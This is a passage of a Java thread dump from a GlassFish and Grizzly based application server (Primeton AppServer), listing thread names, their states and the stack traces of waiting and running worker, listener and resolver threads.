org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:149) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"RunLevelControllerThread-1754837986901" #42 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferQueue@2c8730f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferQueue.awaitFulfill(SynchronousQueue.java:764) + at java.util.concurrent.SynchronousQueue$TransferQueue.transfer(SynchronousQueue.java:695) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"FelixResolver-3" #18 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@437e5543 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-17-thread-1" #135 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@60b8ac03 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:139) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"JMS_PROXY_default_JMS_host-kernel(1) SelectorRunner" #89 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:90) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:315) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:255) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:569) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"admin-listener-expirer(1)" #75 daemon [TIMED_WAITING] on java.lang.Object@4fbf9a8f + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:149) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-22-thread-1" #140 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@6e7f4fbc + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"ContainerBackgroundProcessor[StandardEngine[pas-web].StandardHost[server].StandardContext[/app]]" #142 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1637) + at java.lang.Thread.run(Thread.java:748) + +"AutoDeployer" #87 daemon [TIMED_WAITING] on java.util.TaskQueue@465d49b6 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@87dc22a + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"FelixStartLevel" #32 daemon [WAITING] on java.util.ArrayList@1bcb2e2 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.framework.FrameworkStartLevelImpl.run(FrameworkStartLevelImpl.java:283) + at java.lang.Thread.run(Thread.java:748) + +"pool-10-thread-1" #120 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@648724cc + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"admin-listener(3)" #72 daemon [WAITING] on java.lang.Object@63036a37 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker.getTask(SyncThreadPool.java:176) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"pool-19-thread-1" #137 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@6e7f4fbc + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"RMI TCP Connection(1)-192.168.215.4" #96 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$23/1704840731.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Thread-24" #103 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2185a638 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"DynamicReloader" #88 daemon [TIMED_WAITING] on java.util.TaskQueue@5fce92f5 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"Blueprint Extender: 1" #123 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35930f1b + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-2(3)" #65 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@59fb67f8 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"pool-15-thread-1" #133 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@10ee651e + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:139) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"ContainerBackgroundProcessor[StandardEngine[pas-web]]" #86 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1637) + at java.lang.Thread.run(Thread.java:748) + +"Thread-18" #62 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6aa3e5aa + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"FelixResolver-7" #34 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@234a2bd6 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Thread-33" #113 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2185a638 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"FelixResolver-11" #38 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@234a2bd6 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"CM Event Dispatcher" #100 daemon [WAITING] on java.util.LinkedList@4d12928b + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:83) + at java.lang.Thread.run(Thread.java:748) + +"transaction-manager" #52 daemon [WAITING] on java.util.TaskQueue@5b89dca1 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"Thread-8" #45 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@30240e08 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.primeton.appserver.enterprise.server.logging.AbstractGFFileHandler.log(AbstractGFFileHandler.java:792) + at com.primeton.appserver.enterprise.server.logging.AbstractGFFileHandler$3.run(AbstractGFFileHandler.java:507) + +"ContainerBackgroundProcessor[StandardEngine[pas-web].StandardHost[server].StandardContext[]]" #85 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1637) + at java.lang.Thread.run(Thread.java:748) + +"FelixResolver-6" #33 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@234a2bd6 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-16-thread-1" #134 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@41aa5977 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:139) + at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511) + at java.util.concurrent.FutureTask.run(FutureTask.java:266) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"FelixResolver-2" #27 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@234a2bd6 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"FelixResolver-5" #20 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@437e5543 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Thread-32" #112 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2185a638 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-2(2)" #64 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@59fb67f8 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"FelixResolver-1" #16 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@437e5543 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Primeton AppServer Kernel Main Thread" #91 [WAITING] on com.primeton.appserver.enterprise.v3.server.AppServerStartup$1@4d42200a + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.primeton.appserver.enterprise.v3.server.AppServerStartup$1.run(AppServerStartup.java:226) + +"Thread-30" #110 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2185a638 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-28-thread-1" #148 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@6e7f4fbc + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"Thread-9" #46 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1c7f7909 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.primeton.appserver.enterprise.server.logging.AbstractGFFileHandler.log(AbstractGFFileHandler.java:792) + at com.primeton.appserver.enterprise.server.logging.AbstractGFFileHandler$3.run(AbstractGFFileHandler.java:507) + +"FelixResolver-4" #29 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@234a2bd6 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"http-listener-1(3)" #55 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@59cfa4c7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:737) + at java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:647) + at java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"FelixFrameworkWiring" #31 daemon [WAITING] on java.util.ArrayList@402de9d1 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.framework.FrameworkWiringImpl.run(FrameworkWiringImpl.java:172) + at java.lang.Thread.run(Thread.java:748) + +"FelixResolver-4" #19 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@437e5543 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at 